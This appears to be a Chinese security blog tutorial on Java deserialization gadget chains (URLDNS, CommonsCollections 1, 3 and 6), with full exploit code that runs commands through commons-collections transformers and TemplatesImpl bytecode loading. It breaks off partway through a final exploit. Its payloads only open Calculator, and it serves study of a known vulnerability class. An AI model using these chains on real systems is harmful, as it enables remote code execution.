cc1-7分析


urldns

yso里面最简单的一条链子,看下调用栈:

poc:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Ser implements Serializable {
    public static void ser(Object obj) throws Exception {

        ObjectOutputStream objectOutputStream= new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);


    }
    public static void user(String file) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("ser.bin"));
        objectInputStream.readObject();

    }

    public static void main(String[] args) throws Exception{
        HashMap<URL,String> hashMap = new HashMap<URL,String>();
        URL url = new URL("http://qghzde.dnslog.cn");
        Class cl = url.getClass();
        Field field = cl.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,1);
        hashMap.put(url,"wa1ki0g");
        field.set(url,-1);
        ser(hashMap);
        user("ser.bin ");

    &#125;
&#125;

分析:

HashMap为一个入口类,反序列化的时候掉用他的readObject方法,在readObject方法中又调用了hash方法,:

在hash方法中又掉用了url类对象的hashcode:

在hashcode中又调用了handler的hashcode方法,参数为this就是我们的那个url对象:

最终在hashcode方法中调用了getHostAddress完成了发送请求:


但是这里有两个问题,在poc中当我们 hashMap.put时候,会调用hash方法,导致会提前发送请求,并给hashcode赋值:


所以我们要通过反射来将hashcode的数值改掉,若然不然会导致两个问题,第一就是在put时提前发送请求,导致我们无法判断链子是否成功执行,第二个是因为在put时会给hashcode赋值(hashcode的默认值是-1)导致我们反序列化时无法通过以下判断,导致poc失效:


最终的poc在上面

cc1-1

Maven依赖,这里cc1,3,5,6,7都用的如下依赖:

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

cc1这条链总共有两种触发方式

先说第一种:
先放手写的exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CConeone &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.bin"));
        oos.writeObject(input);

    &#125;

    public static void main(String[] args) throws Exception&#123;
        //InvokerTransformer.transform->ChainedTransformer.transform->TransformedMap.checkSetValue->AnnotationInvocationHandler.setvalue
        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]&#123;String.class, Class[].class&#125;, new Object[]&#123;"getRuntime", null&#125;),
                new InvokerTransformer("invoke", new Class[]&#123;Object.class, Object[].class&#125;, new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec", new Class[]&#123;String.class&#125;, new Object[]&#123;"open /System/Applications/Calculator.app "&#125;)
&#125;;
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        Map a = new HashMap();
        a.put("value","aaa");
        Map<Object,Object> trams=TransformedMap.decorate(a,null,chainedTransformer);


        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

        Object o = constructor.newInstance(Target.class,trams);
        serialize(o);




    &#125;
&#125;

执行命令的点在InvokerTransformer.transform方法,可以通过下图看到transform方法通过反射去执行命令,并且参数都可控:

大致的调用栈是这样的:

  • InvokerTransformer.transform->ChainedTransformer.transform->TransformedMap.checkSetValue->AnnotationInvocationHandler.setvalue

我们先从AnnotationInvocationHandler.readObject开始慢慢看,可以看到先头的exp里面我们是通过反射的形式去构造的AnnotationInvocationHandler对象,因为AnnotationInvocationHandler类并不是一个public类。看下AnnotationInvocationHandler类的构造方法与readObject方法:



我们到达setValue方法之前可以看到,存在一个if判断不为空:首先获得我们传进去的那个map中的key,并在我们的传进去的注解类中判断存不存在这个key 这也就是我们的exp中标红位置的由来,因为Target.class中是含有value这个值的:

到达setValue以后,会调用到TransformedMap.checkSetValue,这个地方大家可能会有点不明白,按照正常逻辑此时,应该执行到TransformedMap.setValue,但是怎么就执行到了TransformedMap.checkSetValue呢?大家可以看下下图的解释:

可以看到他说了当TransformedMap类在调用setValue方法时,会自动调用checkSetValue,所以执行到了TransformedMap.checkSetValue,并且下面标红处也是我们可控的:


但此时有一个问题,就是我们参数的问题,此时的value参数是写死的,这是因为我们调用setValue方法时,第一个参数就是写死的:

这个时候我们怎么办呢?有一个类叫ConstantTransformer,他的transform方法。就是返回一个任意的对象,并且这个对象是我们可以控制的:


最后再结合ChainedTransformer类的链式调用,成功就可以将我们的exp写出来了。

还有一个问题,就是我们的Runtime对象因为没有继承Ser,所以是不能进行序列化的,这个时候,我们可以利用Runtime.class来利用反射去构造出一个Runtime对象出来:

最后也是可以成功执行命令的:

cc1-2

这条链子,是yso上的,看下调用栈可以发现后半段和我们的cc1-1是一样的,不一样的只是前面的触发方式,前一个是TransformedMap.checkSetValue,这个是LazyMap.get:



factory是可控的。AnnotationInvocationHandler.invoke中调用到了get方法:


AnnotationInvocationHandler是一个Handler类,他调用任何一个方法时都会调用到invoke方法,并且在AnnotationInvocationHandler.readObject中,存在memberValues.entrySet(),且memberValues可控。


由此我们可以写出exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CConetwo &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("aade.bin"));
        oos.writeObject(input);

    &#125;

    public static void main(String[] args) throws Exception&#123;
        /*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()
    Requires:
        commons-collections
 */
        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]&#123;String.class, Class[].class&#125;, new Object[]&#123;"getRuntime", null&#125;),
                new InvokerTransformer("invoke", new Class[]&#123;Object.class, Object[].class&#125;, new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec", new Class[]&#123;String.class&#125;, new Object[]&#123;"open /System/Applications/Calculator.app "&#125;)
        &#125;;
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        Map a = new HashMap();
        Map<Object,Object> lazyMap = LazyMap.decorate(a,chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);
        Map mapProxy=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]&#123;Map.class&#125;,h);
        Object o = constructor.newInstance(Override.class,mapProxy);
        serialize(o);



    &#125;
&#125;

可执行命令:

cc6

这是一条万金油链子,像cc1在jdk高版本中都已经在代码层面被修复了,但是cc6这条链子,并不受jdk版本影响。

先放一下调用栈:


可以看到后半段和cc1-2那条链是一样的,前半段和urldns那条也是比较像的。
可以大概说是 cc6=cc1+urldns

我们先从HashMap.readObject开始看:


可以看到他最终调用到了key.hashCode并且key是我们可控的。我们接着看下TiedMapEntry.hashCode:


可以看到最终调用了get方法,并且这里的参数也是我们可控的,我们可以将map设置为LazyMap,这样最终就调用到了LazyMap.get。在分享urldns那条链的时候,我们知道在map.put时,也调用hash函数,这点我们要在exp的时候注意一下。

综上所述,我们可以写出exp:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CCsix &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("add.bin"));
        oos.writeObject(input);

    &#125;

    public static void main(String[] args) throws Exception&#123;
        /*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/
        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]&#123;String.class, Class[].class&#125;, new Object[]&#123;"getRuntime", null&#125;),
                new InvokerTransformer("invoke", new Class[]&#123;Object.class, Object[].class&#125;, new Object[]&#123;null, null&#125;),
                new InvokerTransformer("exec", new Class[]&#123;String.class&#125;, new Object[]&#123;"open /System/Applications/Calculator.app "&#125;)
        &#125;;
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map a = new HashMap();
        Map<Object,Object> lazyMap = LazyMap.decorate(a,new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"a");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"b");
        lazyMap.remove("a");
        Class c =LazyMap.class;
        Field field = c.getDeclaredField("factory");
        field.setAccessible(true);
        field.set(lazyMap,chainedTransformer);

        serialize(hashMap);




    &#125;
&#125;

可以执行命令:

cc3-1

在我们前面写的几条链子中,最后的触发方式都是通过 Runtime.getRuntime().exec 去执行命令,而我们接下来要写的,最后的触发方式是通过java的类加载机制去动态加载一个类去执行命令的。

众所周知我们在生成一个对象的时候,会自动执行类的静态代码块,我们的利用方式为:先写一个类,然后将恶意代码写到他的静态代码块,然后生成字节码,利用字节码动态加载创建一个对象出来。

生成字节码这里可以用java中自带的函数也可用我写的工具:https://github.com/wa1ki0g/ByteCode

我们先看一下 TemplatesImpl.defineTransletClasses :


可以看到他这里有注册字节码的操作,那么我们还需要一个创建对象的操作,这样我们才可以调用恶意类的静态代码块。我们在看 TemplatesImpl.getTransletInstance:


可以看到他不仅调用了defineTransletClasses,同时还有一个newInstance的操作,这就很满足我们执行恶意代码的需求。并且TemplatesImpl这个类是继承了Serializable的,他的这些属性我们也是都可以控制的:


我们在找一下,看看哪里调用了TemplatesImpl.getTransletInstance,找到了一个在TemplatesImpl.newTransformer方法:


所以我们先简单写一下通过TemplatesImpl这个类去执行命令的exp,至于属性的赋值直接反射改就行了。恶意类test.class:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class test extends AbstractTranslet &#123;
    static&#123;
        try &#123;
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        &#125;
        catch (Exception e)&#123;
            System.out.println();

        &#125;
    &#125;

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException &#123;

    &#125;

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException &#123;

    &#125;
&#125;


生成字节码:

exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;

public class C  &#123;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;

        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Field tfac = c.getDeclaredField("_tfactory");
        tfac.setAccessible(true);
        tfac.set(templates,new TransformerFactoryImpl());

        templates.newTransformer();
    &#125;
&#125;

在简单讲一下这个exp,有几个要注意的地方,就是我们通过反射对参数的修改的原因,首先_name参数不能为空:


_bytecodes也不能为空:


_tfactory不能为空:

还有一个要注意的点,就是我们的恶意类,为什么要继承AbstractTranslet,是因为在TemplatesImpl.defineTransletClasses方法里有一个if判断要求我们恶意类的父类等于一个常量AbstractTranslet,所以我们要继承AbstractTranslet并重写他的一些方法,如果不继承那么我们的_transletIndex就会为-1,就会导致我们进入下面的那个if,最终导致报错:



我们后半段的exp就写完了,从中可以看出我们是从调用 TemplatesImpl.newTransformer去入手来执行命令的。这个时候我们可以回想一下我们cc1-1的ChainedTransformer与InvokerTransformer,我们可以将TemplatesImpl与newTransformer传进ChainedTransformer,以此来达到调用 TemplatesImpl.newTransformer的操作。

代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Field;

public class C  &#123;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new byte[]&#123;-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36&#125;;
        byte[][] bytecodes = &#123;testClassBytes&#125;;

        Class c = templates.getClass();
        Field name = c.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"wa1ki0g");
        Field bytec = c.getDeclaredField("_bytecodes");
        bytec.setAccessible(true);
        bytec.set(templates,bytecodes);
        Field tfac = c.getDeclaredField("_tfactory");
        tfac.setAccessible(true);
        tfac.set(templates,new TransformerFactoryImpl());

        //templates.newTransformer();

        Transformer[] transformers = new Transformer[]&#123;
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null),
        &#125;;
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        chainedTransformer.transform(1);
    &#125;
&#125;

如图也是可以执行命令的:

所以最终exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class C  &#123;
    public static void serialize(Object input) throws Exception&#123;
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("abcde.bin"));
        oos.writeObject(input);

    &#125;
    public static void main(String[] args) throws Exception&#123;

        TemplatesImpl templates = new TemplatesImpl();
        byte[] testClassBytes =new 